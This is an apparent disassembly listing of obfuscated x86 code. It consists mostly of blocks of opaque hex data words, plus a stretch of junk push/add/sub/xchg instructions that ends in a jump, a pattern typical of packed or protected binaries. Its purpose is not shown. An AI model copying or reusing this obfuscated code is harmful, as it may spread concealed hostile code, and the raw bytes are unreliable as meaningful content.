		dd 0FFC28B66h, 0E90F11B5h, 359D8907h, 0FF07E900h, 0E9228595h
		dd 51006A07h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1804h
		dd 0C3514100h, 0BB9F644Dh, 4B75BAF3h, 6A1010h, 0C3195FFh
		dd 0C08B07E9h, 0C78F6CEBh, 0E4403A6Ch, 0E0957F52h, 9EF83CB7h
		dd 0ADF3B73Dh, 9D5D6186h, 0F76359D9h, 0D2EE24AEh, 0BAA22FFh
		dd 0BF621578h, 0FEBCBC9Ah, 6C71713Ch, 0CE6A5F3Ch, 0EF131A6Dh
		dd 694B9213h, 0EBDD5BBh, 100E9D70h, 20DFB426h, 871D82A7h
		dd 0AAFD1665h, 9AC863DCh, 0B0ABF85Fh, 7E075EDBh, 821F0C87h
		dd 5C9614E5h, 82A628FDh, 87C1BD66h, 8D8D43D9h, 7F1C59Dh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0F6C35545h
		dd 320D8D89h, 9D8907E9h, 7E90A35h, 22E585C7h, 664407E9h
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
		dd 57470000h, 0D3AC9DC3h, 2CE70B87h, 48E14CBEh,	0B185C74Ch
		dd 7E922h, 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 18042444h, 43000000h, 72F5C353h, 56210239h, 16898589h
		dd 8B5807E9h, 89B5FFD6h, 2907E91Ah, 0E915219Dh,	8595FF07h
		dd 6A07E922h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1D042444h, 41000000h, 0DD5C351h, 4B57188Ah, 62CB46FCh
		dd 8036BF66h, 95FF006Ah, 7E90C31h, 48EBC08Bh, 0E9463AC2h
		dd 85D1327Ah, 0F4BF3C4Ch, 0FBB422D9h, 6E1F889Fh, 0F7EBFE25h
		dd 9772F3C6h, 0C607366Ah, 6A77C683h, 0D1091416h, 9015F632h
		dd 87101576h, 0A502D5FEh, 5055478Ch, 0FF7E2FAEh, 66FD73Eh
		dd 0EA56D3EDh, 6B03805Eh, 10EBh, 3 dup(0)
		dd 0C08B0000h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 16h,	12C35646h, 5E95415h, 15000000h,	4865194Ah, 5A6EB653h
		dd 18A5BD83h, 750007E9h, 45BD8309h, 7E91Ah, 53501974h
		dd 2DB8C08Bh, 89000004h, 0E911F985h, 0CE9D8D07h, 0FF07EBD7h
		dd 83585BD3h, 0E91A45BDh, 17740007h, 2DB85350h,	89000004h
		dd 0E911F985h, 0BD9D8D07h, 0FF07EBD4h, 0B6585BD3h, 13E8DFh
		dd 8E4D0000h, 0E68112B6h, 0D6D2CF60h, 2A5360BAh, 0D78C9503h
		dd 2DBE663Dh, 0C08B5A3Ch, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ch, 0EC35141h, 217E9903h,	0F949857Ch, 2E998D8Bh
		dd 6A07E9h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h
		dd 53430000h, 3DBB51C3h, 13E8h,	0B2023000h, 8ACA3677h
		dd 0C4339D7Fh, 93C11113h, 0DFBD2D2h, 0AE9h, 4E75F900h
		dd 10A65697h, 5EC33BCEh, 0F00F983h, 8684h, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h
		dd 521E45FAh, 7CDACEC1h, 8B64AF14h, 2C3Dh, 4DB58B00h, 5207E935h
		dd 5AD7B70Fh, 840FFF0Bh, 47h, 0DE9h, 43457100h,	0DB188EF7h
		dd 4AFF6AE6h, 3F8B45FBh, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 1Bh, 0B7C35141h, 8217A159h, 80520D2Dh, 0C03207E2h
		dd 0F3F38B66h, 39958BAAh, 3507E90Ah, 53504149h,	0C5FABE66h
		dd 265985C6h, 894707E9h, 0E90F0DBDh, 4E807h, 882C0000h
		dd 0F60DCD6h, 198Ah, 14E900h, 0A28A0000h, 0CA826296h, 0D1E6E05Eh
		dd 0A998AAD1h, 52F60973h, 0BABE4429h, 616FD017h, 0D7BE6650h
		dd 24448B3Ch, 0E8516004h, 0Bh, 0CFD3B4DAh, 8794328Fh, 5A1FA372h
		dd 61F78A5Eh, 8B66008Bh, 244489D1h, 850F6004h, 2, 58615857h
		dd 0B5FF92B6h, 7E90B11h, 0BE98D29h, 666007E9h, 0DF8BCA8Bh
		dd 0DB858D61h, 8B07EC9Fh, 6AD0FFD1h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 0BBC7C356h
		dd 669E139Bh, 9AEC941h,	0E9020995h, 79858907h, 0E907E92Ch
		dd 5, 0C85FAA7Eh, 5985C6F6h, 5307E926h,	10E8h, 52D700h
		dd 0D786BBA4h, 0FD9A3647h, 64D10306h, 0B1B58BE3h, 5A07E91Ch
		dd 1E68F28Bh, 5085A2F1h, 0F08B6652h, 0B6BE310Fh, 5A473865h
		dd 24048158h, 2F579DEh,	6850Fh,	85890000h, 7E91FE5h, 0B11B5FFh
		dd 958907E9h, 7E91C75h,	9FDB858Dh, 9D8907ECh, 7E90879h
		dd 0B58BD0FFh, 7E917EDh, 674D858Dh, 958B07ECh, 7E90845h
		dd 0D9E68166h, 15858940h, 0BE07E90Ch, 0B2CF558h, 0FF6A206Ah
		dd 0C1595FFh, 493507E9h, 0C7535041h, 0E926A985h, 107h
		dd 4185C700h, 7E902h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 18042444h, 42000000h, 2F89C352h, 8B4EED63h
		dd 0E91C15B5h, 6EBA6607h, 0BABA66A2h, 79858BC8h, 8B07E901h
		dd 0E92C7D95h, 0A364F507h, 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 95C35343h
		dd 0F680608Eh, 0C3BF0F78h, 0B5BD8361h, 7E92Eh, 29840Fh
		dd 13E80000h, 5F000000h, 2B9308CCh, 0EA5AADBFh,	1B2736CAh
		dd 0E03203F9h, 0BF0FE96Ah, 858B5EF1h, 7E919ADh,	8166E08Bh
		dd 836417CAh, 0E92515BDh, 850F0007h, 3E3h, 0B9950157h
		dd 5E07E901h, 265985C6h, 815607E9h, 67CF9BDAh, 4E846h
		dd 30DF0000h, 0BA50A9C5h, 34F6B193h, 424448Bh, 9B2522BEh
		dd 89008B11h, 51042444h, 9C87BE66h, 8589585Eh, 7E91809h
		dd 0B11B5FFh, 6A07E9h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 180424h, 51410000h, 4F58A1C3h, 858D270Ch, 7EC9FDBh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 34C35343h
		dd 27C6862h, 0BD89D0FFh, 7E92E69h, 50F38B90h, 7E8h, 33753C00h
		dd 0D346543Ch, 5E616053h, 39BA905Ah, 8D78054Bh,	0E92B298Dh
		dd 57006A07h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1804h
		dd 0C3574700h, 768901E1h, 8A2EBA0Ch, 91F920D1h,	10E9h
		dd 9C4F6800h, 71B9A04Fh, 762CAB24h, 644CED89h, 8E950FCh
		dd 9B000000h, 1FEC904Bh, 91D0D9A2h, 38083DBEh, 89046A70h
		dd 0E934958Dh, 6CBA6807h, 348110ABh, 0AB7CBA24h, 6880F10h
		dd 89000000h, 0E90BDDB5h, 0DB5FF07h, 8B07E912h,	0E9158D95h
		dd 6AD0FF07h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 15042444h, 43000000h, 0F5A1C353h, 8BF4E680h,	0E9120DBDh
		dd 830F07h, 3000000h, 0B5893C7Fh, 7E90939h, 0F8C781h, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 93BEE2C3h, 0FE129581h, 0BE7CF8BAh, 4367CCFh,	202447C7h
		dd 0E9600000h, 6, 0F94CB0E6h, 0AE9CC9Eh, 0D8000000h, 3C666312h
		dd 27110199h, 0ECBD834Ch, 7F1C5h, 143840Fh, 8B510000h
		dd 0E90FE1B5h, 0C7835E07h, 2E07C728h, 8964696Ah, 0E934FD8Dh
		dd 447C707h, 617461h, 0A89958Bh, 858B07E9h, 7F1C5F4h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0DBC35545h, 89D08A5Dh
		dd 0B5890C47h, 7E92291h, 0C5F8858Bh, 0B70F07F1h, 84789F1h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 3DC35141h
		dd 0ADB5CF59h, 0AE860E8h, 29000000h, 0EC6693D5h, 2D8D5F95h
		dd 0CD9D893Eh, 5A07E90Dh, 2928C783h, 0E930E585h, 2E07C707h
		dd 96E6F63h, 0E925ADBDh, 447C707h, 676966h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0DEC35646h, 0C5F0858Bh
		dd 0BD8907F1h, 7E90F65h, 6A0C4789h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 4D82C351h
		dd 0E130731Ah, 0D68145B1h, 18A12118h, 0C5EC858Bh, 0F6007F1h
		dd 28Ah, 8BD1B500h, 0E92A19BDh,	47896107h, 57006A08h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h
		dd 895F5C58h, 0E922759Dh, 6A5807h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 190424h, 55450000h, 78761DC3h, 8D4B7156h
		dd 0E908F98Dh, 14820F07h, 0E9000000h, 0Fh, 0ECA0BC7Eh
		dd 0EA54704Fh, 0E1AE2A24h, 913C1EC7h, 9E8h, 0DD2DD200h
		dd 430C2B82h, 56B260ECh, 6BBA505Ah, 916934B9h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0DFC35242h, 818CFF9Ch
		dd 0DE8DED8h, 0A0000000h, 0BCC825A8h, 0CB2848CAh, 0C4820C3Ch
		dd 25958Bh, 8B5E07E9h, 0E90CC5B5h, 29B5FF07h, 8A07E92Bh
		dd 0AA4D68D3h, 52502BBEh, 8E860h, 5CD30000h, 7A1B5288h
		dd 615E889Ch, 585A310Fh, 4D243481h, 892BBEBAh, 0E932119Dh
		dd 0DB5FF07h, 6607E912h, 0D0FFF28Bh, 0B81FC680h, 0
		dd 6FD9503h, 0C00B07E9h, 55840Fh, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 140424h, 57470000h, 0DAB2E3C3h
		dd 125DB5FFh, 950B07E9h, 7E91C29h, 228595FFh, 6A07E9h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 16ED5BC3h, 81663EB5h, 8B8F59DAh, 5623B6C0h, 0CE9h, 0A2079200h
		dd 9C8AA9F1h, 8F0267B8h, 0BD835ACFh, 7E918A5h, 83097500h
		dd 0E91A45BDh, 19740007h, 0C08B5350h, 42DB8h, 0F5858900h
		dd 8D07E920h, 0EBD8359Dh, 5BD3FF07h, 45BD8358h,	7E91Ah
		dd 53501774h, 42DB8h, 0F5858900h, 8D07E920h, 0EBD4D69Dh
		dd 5BD3FF07h, 11E858h, 0D3AE0000h, 0EF497369h, 0B06A41E9h
		dd 1A435200h, 8B31F989h, 0E9257DB5h, 9D895A07h,	7E90C09h
		dd 0BD01C08Bh, 7E92289h, 11E8C08Bh, 6F000000h, 0D00935F5h
		dd 8C6D2025h, 5D09780Fh, 87C59BF5h, 0EF59D2Bh, 665E07E9h
		dd 0C681DA8Bh, 6A8Bh, 29D18D8Bh, 0B807E9h, 9000000h, 0E90AC98Dh
		dd 3034FF07h, 0BA520EBFh, 0D7805A50h, 0C0C2812Ch, 895CAF79h
		dd 0E919DDB5h, 0BCEA8107h, 8B3974C5h, 2C281FAh,	8B77CFEFh
		dd 0E9158DBDh, 6148907h, 14E9h,	478A2200h, 0AD0CBDF3h
		dd 9D069F59h, 0FF97BD34h, 4EE29511h, 0E883F586h, 0A6E8BF03h
		dd 0BB481796h, 18D23789h, 960CF881h, 850FFFFFh,	0FFFFFF9Dh
		dd 1351B589h, 4E907E9h,	7C000000h, 0E9214D2Eh, 55Fh, 1C91E308h
		dd 57DE9CB0h, 842953E5h, 0FB7AF828h, 2DC0B459h,	0FB1E7ABFh
		dd 5140EC81h, 61F622D3h, 103A961Fh, 0FCA6CF66h,	6AF60585h
		dd 8FFD0F28h, 413BDC78h, 4A2FCDE9h, 0E26D4BD8h,	0C222B0D1h
		dd 941963F6h, 9C601238h, 0CE581A30h, 0A48C0E06h, 0D2A84C08h
		dd 3ED74772h, 0F5FCDC67h, 0E10DE564h, 0C6E8C38h, 5C203761h
		dd 648BD1C1h, 3968B8BEh, 305C6279h, 0FA7B099Bh,	7FC7B95Eh
		dd 62C24253h, 6588C056h, 27B5CF17h, 1F59F3DFh, 0DACD0C7h
		dd 6B1232EDh, 61E196B9h, 709E3414h, 50CECEAFh, 377E25C5h
		dd 564F17A1h, 25971AD6h, 0E8996517h, 305C28CDh,	10C1688Ch
		dd 84317CB0h, 4ACEh, 0A04A9400h, 15970ED6h, 12305CC5h
		dd 4735D884h, 0E10DE5FFh, 0E0299B38h, 1458430h,	1D000000h
		dd 42D4A64Ah, 0C4B9F9A8h, 495B305Ch, 0ED014DE1h, 0B1BB78Fh
		dd 0F418B589h, 0FD7F9355h, 0FD5FF670h, 0A28CA0D1h, 0EC0EAA86h
		dd 78A7E392h, 0FE46C4DCh, 85A80CE4h, 8FA32FF7h,	91A511EDh
		dd 158E1BEBh, 4F95221Bh, 6014399Dh, 4EEFE19Ch, 0A9D7ACh
		dd 0B6C86EF6h, 389C546Eh, 62CE6715h, 7A56AEC8h,	8610AAD4h
		dd 5C1C8B0Bh, 0D31F8530h, 7A232F9Fh, 31835759h,	939784h
		dd 4A330000h, 4D09D5A7h, 410DD1ABh, 5A76CEAEh, 0A378C4B6h
		dd 9F3EBC5Dh, 0DCE9760Fh, 9390CBEh, 0F88DEA87h,	4AA63DBCh
		dd 0A84D8726h, 62F721CCh, 10BCCA1Ah, 0D95B4BFFh, 15E97F05h
		dd 1F77A38Fh, 0E569419Dh, 0D01D9744h, 7C598431h, 69000000h
		dd 31CAED78h, 3A4233CFh, 0B540F8D2h, 4EAADA98h,	23B5C76Ah
		dd 19E597BBh, 7573AF8Bh, 0FF3BB9E9h, 0F84434DBh, 0FC403ADCh
		dd 0E4383AD0h, 0B240E917h, 0CE28D1FBh, 0C88C0E06h, 3C985022h
		dd 0DC96319h, 55589014h, 0D4A64AEDh, 15E77E08h,	7ADE18F5h
		dd 83D1B540h, 0F9622964h, 0CD755031h, 0BA54305Bh, 0A9810312h
		dd 0B852A445h, 5BCCC9C9h, 91594B30h, 31D7D232h,	12C84h
		dd 4AB60000h, 4E0ADAA4h, 0AD38D2ACh, 0D85B69DEh, 26A4FCD0h
		dd 13045890h, 76984CEDh, 0A9D87204h, 305C1AE9h,	2CB1792Bh
		dd 0DF69FE79h, 0B50367A2h, 0CC983537h, 5F5F5255h, 0B12873BEh
		dd 0A3985AF3h, 0A86F38Ah, 6EDAA497h, 32C4DE82h,	10A9E998h
		dd 396B2873h, 0FB11BDF1h, 0B258F479h, 3857CC0h,	10287311h
		dd 3D995DFCh, 59F67E5h,	2763892Dh, 59D46A12h, 0C3235DFFh
		dd 0CB1B65F7h, 896D0C70h, 0F35329CDh, 7F9D39F1h, 0FD59DBCBh
		dd 0E68F1D5Fh, 1A94635Dh, 184838Ch, 0B3270000h,	0ECA537A0h
		dd 37B599ADh, 21AD3F65h, 7A686BF0h, 9E08BC3Dh, 27FB7D08h
		dd 0CB26D7DEh, 7587336Fh, 2CCE6A0Bh, 5BABD164h,	0C654544Dh
		dd 0E6BC2872h, 5662C250h, 9520BAC4h, 2E532646h,	0C96CE83Fh
		dd 0AF2B47B3h, 0A22EF676h, 0A612F28Ch, 7292E993h, 56502FCBh
		dd 0DB17698Eh, 38D216B7h, 3A16D739h, 14B041A2h,	4BEA7802h
		dd 19FB06FEh, 3F608Ch, 0B3420000h, 19B2DBAh, 79C5B745h
		dd 0DEFE8F6Bh, 36B05CC4h, 0B1F1906Ch, 64B05CC4h, 99AE9138h
		dd 0A9097812h, 6B305CC5h, 9C15AF39h, 305CC61Ch,	0A591A9F4h
		dd 659EB5A4h, 21961BD7h, 0D2h, 1A0B341h, 0E86ABA10h, 7F32C45Ah
		dd 37B59484h, 91EB0CC8h, 5DEFB559h, 93CECEC3h, 5C462873h
		dd 0B44E5894h, 7393BDFDh, 0E54D5728h, 0D4591B31h, 6B26B04Ah
		dd 2873942Bh, 0CACABFE5h, 0B3287393h, 0FFFB8112h, 0C9A5E9D2h
		dd 0F58F5725h, 0DCDCD567h, 34287319h, 416826Eh,	0DEFBAA7Ah
		dd 98287318h, 9F3B0B89h, 5C3F0779h, 3C698930h, 0EB857118h
		dd 7318F6B6h, 0EDADE428h, 27287318h, 0A793117Dh, 169FD973h
		dd 5228CC88h, 6538F0F2h, 0D6CB5DCAh, 30614A43h,	53D5CD89h
		dd 814A5E5Eh, 5EECB620h, 4834FC86h, 7AB6CB6Ch, 1873CFCEh
		dd 5D96FFDh, 0DD1A349h,	6853FA1Ah, 0D1C05ACDh, 286F343Eh
		dd 0BB6FF78Eh, 64D2B666h, 33C2E08Ch, 77012BB3h,	0A0B309BBh
		dd 19ECA537h, 63384AF6h, 0F4D8D8C9h, 6A38286Ah,	7CC0E28Eh
		dd 35B8BA50h, 8E03719Bh, 286AF50Eh, 360E9C06h, 8FF9CD4Fh
		dd 0C7668A4Eh, 1889EF0Dh, 1ADFA98h, 19942A78h, 4B89F08Dh
		dd 0F27BE08Eh, 0FE789206h, 0F87AAA26h, 2CCDF324h, 6D2452F8h
		dd 1AE222Dh, 862FBDE7h,	4C008D18h, 98641624h, 0DEAE730Ah
		dd 0C65440A8h, 0C75E68B4h, 74B347BAh, 42C0D0C6h, 0E652E0E2h
		dd 329h, 0F6547900h, 0FD7A14Ah,	77CFA943h, 78C4B45Bh, 7FC7455Ch
		dd 66BEBE53h, 69B5C76Ah, 6FB7356Dh, 53B3CD63h, 55A9D367h
		dd 5D06685Eh, 0C890000h, 25CA6824h, 34890000h, 0E6895624h
		dd 4C681h, 0EE830000h, 24348704h, 242C895Ch, 4EC81h, 4890000h
		dd 3BACB824h, 0EEBE2BD9h, 2933CB0Ah, 926858C6h,	8900001Fh
		dd 4832424h, 535D0424h,	8BBh, 5CEB8100h, 111F659h, 5CC381EBh
		dd 8911F659h, 34FF5B33h, 0C4835D24h, 2434FF04h,	4C4835Eh
		dd 0F7A72DE9h, 1BC914FFh, 893D104Bh, 0B83C29BAh, 7F1D427h
		dd 0E0FFC503h, 0D3F33D6h, 4EC06F94h, 76E26E1Bh,	7AFEFE54h
		dd 4B122297h, 2657920Ch, 3A5528Fh, 71B0AF29h, 2F686B7Fh
		dd 95C7422h, 3E6F752Ah,	63494B3Ch, 26AC90FDh, 69975848h
		dd 21D4455h, 2AE1839Bh,	70314F65h, 7660AAE2h, 483F21BEh
		dd 3A62093h, 0BDD9381h,	0D5B38D8Dh, 6A07F1h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 180424h, 52420000h, 90990DC3h
		dd 0B58B364Ah, 7E911FDh, 320D8D89h, 6A07E9h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 170424h, 56460000h, 0B09475C3h
		dd 3810F0Ah, 80000000h,	85C710D7h, 7E922E5h, 644Ch, 12F68160h
		dd 0F54692ACh, 0B185C761h, 7E922h, 66000000h, 0FFED3FBAh
		dd 0E91A89B5h, 55006A07h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1804h, 0C3554500h, 43643151h, 8595FFC4h
		dd 0F07E922h, 18Eh, 6AFC00h, 0C3195FFh,	0C08B07E9h, 135148EBh
		dd 6A3F50ECh, 81B3F22Eh, 6E51CFB5h, 3C1BBC87h, 2DD0C1FCh
		dd 0DD8F00A3h, 52FB89BCh, 0F9312C7Ch, 0B781A549h, 0AFCF73A7h
		dd 0CA892D06h, 9349DF13h, 0C46D289Ah, 0AAC09EA5h, 3458F021h
		dd 8B1B090Eh, 5C339578h, 0AE8A668h, 5F000000h, 0A43E7AADh
		dd 473DEE69h, 0EDBD89FCh, 5B07E934h, 0FD858960h, 6607E91Ah
		dd 8161D68Bh, 680EC3h, 0F5B96600h, 0FC03388h, 889h, 28E0F00h
		dd 51000000h, 1834FF5Fh, 12E960h, 15C40000h, 58C2F396h
		dd 7346F4B6h, 0EF73C7BCh, 0BEBD45F3h, 0EE9h, 0B63A1200h
		dd 19A2DFE6h, 0A2F2378Dh, 61317A2Eh, 68F0F5Eh, 31000000h
		dd 0E91E0D8Dh, 43C68107h, 0F09CED2h, 685h, 518D8900h, 8107E92Bh
		dd 0DDEAC8EEh, 858D0971h, 8107E911h, 0AEB7AC6h,	0E9805205h
		dd 34895FB2h, 13E903h, 0AB8F0000h, 15CD7CA9h, 0A058FC65h
		dd 7163D328h, 67024F2Eh, 4E8838Ch, 4AB333BFh, 0E0F88119h
		dd 0FFFFF98h, 0F85h, 22E9F900h,	9D000000h, 0EB37FCAAh
		dd 0B6B8E5DEh, 25D58589h, 52E907E9h, 4DFFFFFFh,	343BD9CFh
		dd 22C41443h, 607929F1h, 118D8D18h, 6A07F1D8h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
		dd 9801C357h, 39F45F46h, 41BD896Ch, 8907E915h, 0E9320D8Dh
		dd 29B58B07h, 0C707E931h, 0E922E585h, 68FC07h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1C04h, 0C3514100h
		dd 4A2144F3h, 0CFF9CFEDh, 0C7F38BD5h, 0E922B185h, 7, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1C04h, 0C3564600h
		dd 0BACB7E63h, 4A9A6503h, 9E888h, 47140000h, 9730996Dh
		dd 8928F558h, 0E9125995h, 0B5FF5807h, 7E9245Dh,	14E8h
		dd 8D19A200h, 2EA2F237h, 495F317Ah, 0BF414413h,	0A46A3D63h
		dd 14E9E5h, 0EB350000h,	0C0761524h, 16F73B12h, 0CCF4845Fh
		dd 0A160B80Fh, 0FF5AB418h, 0E9228595h, 56006A07h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h
		dd 93D83C17h, 0BD896CFBh, 7E91AE9h, 95FF006Ah, 7E90C31h
		dd 5BEBC08Bh, 0F018ED9Dh, 0B1B3A269h, 0FF833567h, 0D2829AADh
		dd 32CF400Bh, 0F3367ED4h, 26D33D62h, 2CBF24C5h,	0AF60862Ah
		dd 533F4F01h, 0EC904B9Bh, 0D0D9A21Fh, 0F18DDB95h, 6B867782h
		dd 26214889h, 900B02CBh, 0F21EE52Ch, 5E8F2BC3h,	0A6761313h
		dd 9DCEDA30h, 2F8C8D0Ch, 0FF5C78CCh, 0EBE99E4Ch, 3DDE900h
		dd 19320000h, 0D67AD65Fh, 89AF09A4h, 0C2D27EF7h, 0EE03AD40h
		dd 0B089E78Eh, 0A64F2DC0h, 14991B0Ah, 48E597B8h, 812C4EECh
		dd 0CFCFC2DCh, 41286AECh, 0A64A550Bh, 0C4E1A1D0h, 7533305Ch
		dd 5CC57C3Ch, 780E9430h, 47E94BEAh, 41CB835h, 0A84DEF86h
		dd 28C521CCh, 0F304B1E0h, 0D7EEFC89h, 819400E8h, 0BC522ACDh
		dd 821BB531h, 0FF1DFC18h, 2C6C1D9Fh, 0E4305C7Dh, 4F4672BEh
		dd 7CD8D8C9h, 6A38305Ch, 33CD59D4h, 5C7D3E7Eh, 0ABFAD630h
		dd 90019B29h, 305C7D10h, 6256A200h, 0BAFAB7CDh,	0A3305C7Ch
		dd 818B9782h, 970393C0h, 0D46AF880h, 235DFF59h,	2292F392h
		dd 3BCD384Dh, 3E06709Ah, 8078292h, 0C0860DB0h, 0E8740694h
		dd 49A53346h, 7EDB94B0h, 0A28E14E8h, 0E63E9A0Eh, 9B96C964h
		dd 40077A0Ch, 562FC49Bh, 0B511F04Ch, 0AB20829Bh, 4E4E43DDh
		dd 0C620829Ch, 41E814DCh, 0B093090h, 0BF4E94h, 4A140000h
		dd 2C4CE3A7h, 0E03CD2D0h, 820E831Fh, 92305CC5h,	6A80CC10h
		dd 21CB6508h, 0F419C557h, 4B31C480h, 0ED01E9FBh, 0F08A1D18h
		dd 0B5B2FA81h, 0BA8A1837h, 6E9A4345h, 0A303B2CCh, 0B3189809h
		dd 0AAF82873h, 1080934Eh, 3938FED7h, 0B0642E90h, 7D3427B6h
		dd 0A3DE68FEh, 2FCC1848h, 0ECE8346Eh, 3D993349h, 3815D1Fh
		dd 0EB0EAA37h, 67F84D91h, 0CB5B56E0h, 0E5208A18h, 0F06336BFh
		dd 59DCD567h, 4327E2F2h, 2A06769Bh, 34805C46h, 4DBE5C21h
		dd 2DCA635Fh, 51410D9Fh, 0E77173D3h, 0A1A0EAAAh, 0B0782A18h
		dd 96E832Dh, 0F0F230EFh, 0F04CE271h, 9A3283Dh, 0A19B8498h
		dd 0FF762C18h, 31BCB85Dh, 3ADC7891h, 0AE6FC40h,	0B953C457h
		dd 0B5BB79C8h, 51EBB937h, 1E1709C4h, 0F33FF4DBh, 7FF913BFh
		dd 6C522FF6h, 0DEC84CDBh, 0EF9FE276h, 212B36D5h, 0B9569FFh
		dd 730A1696h, 16A4FE28h, 0A8F2BDAh, 0C3692873h,	7A903CB1h
		dd 82A824F8h, 315F2CF0h, 8ABE5C88h, 77F52D65h, 61A253E1h
		dd 8C1A9B9Fh, 26DFh, 0A0B3EB00h, 0C53E7E33h, 2D2F305Ch
		dd 0C92AF01Ch, 0A43A6824h, 92189F12h, 0A4FE37B5h, 9CDE7C58h
		dd 29BC11h, 78C60000h, 7026A5EDh, 0A5215931h, 8E14E86Ch
		dd 9C1E76A2h, 0C23E730Ah, 2DADE31Fh, 38F084A9h,	3042E8E4h
		dd 90A521BDh, 78BE0CE4h, 0F74339DCh, 2E67D3C3h,	0BE4C56AEh
		dd 0BAFAB737h, 5A305CC4h, 0F35B4748h, 0D2D41C5Ch, 7A9C38h
		dd 0C5555928h, 0AB45305Ch, 5CC4B6F6h, 2C06A730h, 3386210Fh
		dd 5E94163h, 0E10B479Fh, 4E584F97h, 930E7486h, 305C6513h
		dd 0CD11A7FDh, 76177BB7h, 5AAE5383h, 0A855E9Dh,	0B09DE190h
		dd 0C18D305Ch, 595948D0h, 0BB305CB1h, 0FD8B5BE9h, 5CB10484h
		dd 960C30h, 7BCBB144h, 0C7DD8169h, 1C339B35h, 3602805Ch
		dd 5CB15757h, 4AEBB930h, 83324CEEh, 0EDAA8A23h,	8A9A98BFh
		dd 729B42AEh, 14h, 6AB1DA8h, 66C9546Eh,	0A04A388Ah, 0A8420ED6h
		dd 35EB27CEh, 0FD7A14Ah, 77CFA943h, 78C4B45Bh, 7FC7455Ch
		dd 66BEBE53h, 69B5C76Ah, 6FB7356Dh, 53B3CD63h, 55A9D367h
		db 5Eh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], eax
		push	7F1D878h
		mov	edx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		push	3158h
		mov	[esp], edx
		pop	dword ptr [eax+8]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		mov	edx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		dd 70F32CD6h, 0D5C9E688h, 0B832D2B3h, 7F1DBC3h,	0E0FFC503h
		dd 33457CA7h, 50044688h, 5454E637h, 83F987h, 2E7AD1BFh
		dd 1E217F69h, 0FFC73A7h, 7407CB05h, 9BD3911h, 5FB66FA3h
		dd 54A30644h, 38C54D1h,	4BC2ABA7h, 46BF73BDh, 327B88D8h
		dd 5887EB2Ah, 32B2ED9Ah, 7EB2FE39h, 21C3DE9Ah, 3505BF60h
		dd 0C9805EA1h, 0F60614Bh, 158Fh, 0FE800h, 6B330000h, 0A6737084h
		dd 2E3996ABh, 0D9E99747h, 61F9590Dh, 2820Fh, 59510000h
		dd 1860Fh, 53FC0000h, 0E8A0Fh, 9E90000h, 0B2000000h, 73EFF3B9h
		dd 364F177h, 66D08B5Fh,	8BC5E2B9h, 0FE852F9h, 0CA000000h
		dd 0E076F566h, 84A1144Eh, 0E873B2C6h, 816663F6h, 5BD84EE6h
		dd 6061605Bh, 3810Fh, 8B660000h, 0AE8C7h, 66930000h, 8D5F95ECh
		dd 6D753E2Dh, 58F8B70Fh, 66CA8B61h, 8060DA8Bh, 0F6123D1h
		dd 0B80h, 58E0F00h, 66000000h, 0B9FCD681h, 0B66DBE66h
		dd 815AF556h, 0A0226DE7h, 18B16000h, 5C7ABB61h,	0BE667BBEh
		dd 81667928h, 8BA665EEh, 0C38BF5FBh, 9E8h, 7A28C100h, 39D00D6Bh
		dd 0E951FB10h, 0Ah, 0B907AFB6h,	0EDF738BEh, 5E58E73Ah
		dd 0B794D881h, 0BB666BA4h, 66FCD828h, 667C2DB8h, 3360EB81h
